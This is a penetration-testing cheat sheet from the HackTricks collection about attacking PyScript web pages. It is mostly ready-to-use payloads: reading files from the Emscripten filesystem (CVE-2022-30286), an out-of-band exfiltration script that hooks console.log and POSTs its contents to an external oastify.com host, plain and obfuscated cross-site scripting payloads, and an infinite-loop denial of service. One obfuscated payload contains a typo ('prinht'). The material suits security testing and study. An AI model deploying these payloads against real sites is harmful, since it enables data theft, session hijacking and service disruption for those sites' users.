hacktricks/generic-methodologies-and-resources/python/pyscript.md

# Pyscript

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## PyScript Pentesting Guide

PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.

### Dumping / Retrieving files from the Emscripten virtual memory filesystem:

`CVE ID: CVE-2022-30286`\
\
Code:

```html
<py-script>
        with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
        out = fin.read()
        print(out)
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Code:

```html
   <py-script>
x = "CyberGuy"
if x == "CyberGuy":
    with open('/lib/python3.10/asyncio/tasks.py') as output:
        contents = output.read()
        print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
   </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### Cross Site Scripting (Ordinary)

Code:

```python
<py-script>
        print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### Cross Site Scripting (Python Obfuscated)

Code:

```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### Cross Site Scripting (JavaScript Obfuscation)

Code:

```html
<py-script>
   prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
 </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### DoS attack (Infinity loop)

Code:

```html
    <py-script>
      while True:
         print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
   </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

<details>

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